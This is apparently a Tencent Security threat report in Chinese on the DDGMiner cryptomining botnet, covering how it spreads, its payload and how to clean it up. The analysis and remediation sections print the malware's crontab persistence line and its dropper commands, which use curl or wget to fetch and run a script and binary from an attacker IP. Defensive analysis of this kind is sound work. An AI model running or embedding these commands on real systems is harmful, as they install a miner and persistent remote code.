警惕:DDG挖矿僵尸网络利用SSH爆破攻击Linux服务器

2019-09-12 10:11:14
腾讯安全专家在为某企业客户进行例行安全巡检过程中,发现客户部署的腾讯御界高级威胁检测系统出现了SSH服务失陷感知信息。腾讯安全对本次攻击事件展开调查,结果发现,这是由大型挖矿僵尸网络DDGMiner发起的攻击事件。

一、背景

腾讯安全专家在为某企业客户进行例行安全巡检过程中,发现客户部署的腾讯御界高级威胁检测系统出现了SSH服务失陷感知信息。在征得客户同意后对客户机器进行远程取证,并结合御界的关键日志进行分析,我们发现这是一起针对SSH服务器弱口令爆破攻击事件,由于发现及时,工程师及时协助客户进行隔离及杀毒,并未造成损失。

腾讯安全御见威胁情报中心对本次攻击事件展开调查,结果发现,这是由大型挖矿僵尸网络DDGMiner发起的攻击事件。DDGMiner是最早于2017年被发现的挖矿僵尸网络,其特点为扫描攻击 SSH服务、Redis 数据库和OrientDB数据库等服务器,并在攻陷的服务器上植入挖矿木马挖掘门罗币获利。从病毒服务器的目录中last modified字段可以看到,本次攻击中样本的更新时间为2019-08-29,目前为4004版本。


对样本进行分析后,发现与此前版本不同的是,样本中新增了针对Nexus Repository Manager漏洞、Supervisord漏洞的利用攻击代码,其攻击流程大致如下:


根据腾讯云鼎实验室监测数据,云上主机遭受来自最新版本DDGMiner的攻击流量从2019.08.29开始出现,在830日到达峰值,831日到91日下降到一定范围之后趋于平稳。大部分攻击流量被有效拦截。而在少量失陷主机中,90%以上遭到SSH弱口令爆破入侵,由此可见DDGMiner的主要传播方式仍然为SSH爆破。腾讯安全提醒企业用户务必使用高强度的SSHRedis登录密码,避免因设置不当而遭受攻击造成不必要的损失。


二、详细分析

黑客在通过弱口令爆破或漏洞攻击入侵后首先下载Shell脚本i.sh,并将其安装为crontab定时任务每15分钟执行一次。

mkdir -p /var/spool/cron/crontabs

echo "" > /var/spool/cron/root

echo "*/15 * * * * (/usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh) | sh" >> /var/spool/cron/root

cp -f /var/spool/cron/root /var/spool/cron/crontabs/root

然后检测是否已经存在进程nfosfa4,若存在则杀死进程并删除对应的文件,然后从服务器下载ddgs.$(uname -m)保存为nfosfa4,其中uname –m用来获取系统类型并映射到文件名。最后通过chmod +xnfosfa4赋予可执行权限,从而完成木马的下载更新。

ps auxf | grep -v grep | grep nfosfa4 || rm -rf nfosfa4

if [ ! -f "nfosfa4" ]; then

    curl -fsSL -m1800 http://68.183.140.39/static/4004/ddgs.$(uname -m) -o nfosfa4||wget -q -T1800 http://68.183.140.39/static/4004/ddgs.$(uname -m) -O nfosfa4

fi

chmod +x nfosfa4

接着查找并杀死多个历史版本的病毒进程,进程名分别为nfosbcbnfosbccnfosbcdnfosbcenfosfa0nfosfa1nfosfa2

ps auxf | grep -v grep | grep nfosbcb | awk '{print $2}' | xargs kill -9

ps auxf | grep -v grep | grep nfosbcc | awk '{print $2}' | xargs kill -9

ps auxf | grep -v grep | grep nfosbcd | awk '{print $2}' | xargs kill -9

ps auxf | grep -v grep | grep nfosbce | awk '{print $2}' | xargs kill -9

ps auxf | grep -v grep | grep nfosfa0 | awk '{print $2}' | xargs kill -9

ps auxf | grep -v grep | grep nfosfa1 | awk '{print $2}' | xargs kill -9

ps auxf | grep -v grep | grep nfosfa2 | awk '{print $2}' | xargs kill -9

然后启动病毒的最新版本nfosfa4,病毒被存放于以下四个目录之一。

/usr/bin/nfosfa4

/usr/libexec/nfosfa4

/usr/local/bin/nfosfa4

/tmp/nfosfa4

nfosfa4是采用golang语言开发,编译成基于LinuxELF可执行文件,并且采用UPX加壳保护。golang语言是一款开源编程系统,其优点为简单可靠,支持夸平台编译等。golang语言非常适合服务器编程、分布式系统和数据库相关的网络编程,而DDGMiner恰好符合这些特点。

为了便于分析,我们通过Linux下的UPX脱壳工具进行脱壳,然后使用IDAGolangHelper脚本在IDA中对函数进行重命名。处理之后可以比较清晰的看到样本中漏洞攻击、挖矿、清除挖矿竞品等功能。

在还原后的函数中,可以看到针对SSH爆破、以及针对Redis服务器、Supervisord服务器、Nexus Repository Manager服务器的漏洞利用攻击代码。


样本还使用了hashicorpgo开源库memberlist来构建分布式网络,memberlist是用来管理分布式集群内节点发现、节点失效探测、节点列表的开源程序(github: https://github.com/hashicorp/memberlist)。样本初次到达受害机时,会获取本地节点的地址和状态信息,然后尝试连接到内置的ip列表中的远端节点从而加入远端的集群。


memberlist利用被称为“疫情传播算法”的Gossip协议在僵尸网络集群中同步数据。Gossip 过程由种子节点发起,当一个种子节点有状态需要更新到网络中的其他节点时,它就会随机的选择周围几个节点散播消息,收到消息的节点也会重复该过程,直至最终网络中所有的节点都收到了消息。病毒通过这个过程将某个节点上获得更新的挖矿木马和攻击脚本同步到所有节点。


最后,在挖矿功能部分,通过main_ptr_miner_Download函数下载,main_ptr_miner_Update更新,main_ptr_miner_CheckMd5校验矿机Md5值,以及通过main_ptr_miner_Run启动矿机,并且通过调用main_ptr_miner_killOtherMiner对其他挖矿木马进行清除。


三、安全建议

1、 使用高强度的Redis登陆密码、SSH登陆密码, 必要时添加防火墙规则避免其他非信任来源ip访问。

2、 及时修复RedisNexus Repository ManagerSupervisord服务相关的高危漏洞。

3、已中毒的linux服务器可采用以下手动清理方案。

a)crontab如果如果包含以下内容,进行清理:
"*/15 * * * * (/usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh) | sh"

b)
/var/spool/cron/root文件,如果包含以下内容,进行清理:
"*/15 * * * * (/usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh) | sh"

c)
/var/spool/cron/crontabs/root文件,如果包含以下内容,进行清理:
"*/15 * * * * (/usr/bin/nfosfa4||/usr/libexec/nfosfa4||/usr/local/bin/nfosfa4||/tmp/nfosfa4||curl -fsSL -m180 http://68.183.140.39/i.sh||wget -q -T180 -O- http://68.183.140.39/i.sh) | sh"

d)、删除以下文件

/usr/bin/nfosfa4

/usr/libexec/nfosfa4

/usr/local/bin/nfosfa4

/tmp/nfosfa4

/usr/bin/betsbcc

/usr/libexec/betsbcc

/usr/local/bin/betsbcc

/tmp/betsbcc

/usr/bin/brhjbcc

/usr/libexec/brhjbcc

/usr/local/bin/brhjbcc

/tmp/brhjbcc

e)删除/tmp目录下文件

qW3xT, qW3xT.1, qW3xT.2, qW3xT.3, qW3xT.4,

ddgs.3010, ddgs.3011, ddgs.3013, ddgs.3016,

2t3ik, 2t3ik.m, 2t3ik.p, 2t3ik.s,

imWBR1, imWBR1.ig,

wnTKYg, wnTKYg.noaes,

fmt.3018

4、使用腾讯御界高级威胁检测系统检测未知黑客的各种可疑攻击行为。御界高级威胁检测系统,是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。


IOCs

IP

68.183.140.39


URL

hxxp://68.183.140.39:8000/static/4004/ddgs.x86_64

hxxp://68.183.140.39:8000/static/4004/ddgs.i686

hxxp://68.183.140.39:8000/i.sh


MD5

bdfa1c43b3e03880d718609af3b9648f

76309d50ad8412954ca87355274bd8ff

4f0ef26b713d28469d08a8a833339e77


参考链接:

https://blog.netlab.360.com/fast-analyze-ddg-v3021-and-v3022/

最新资讯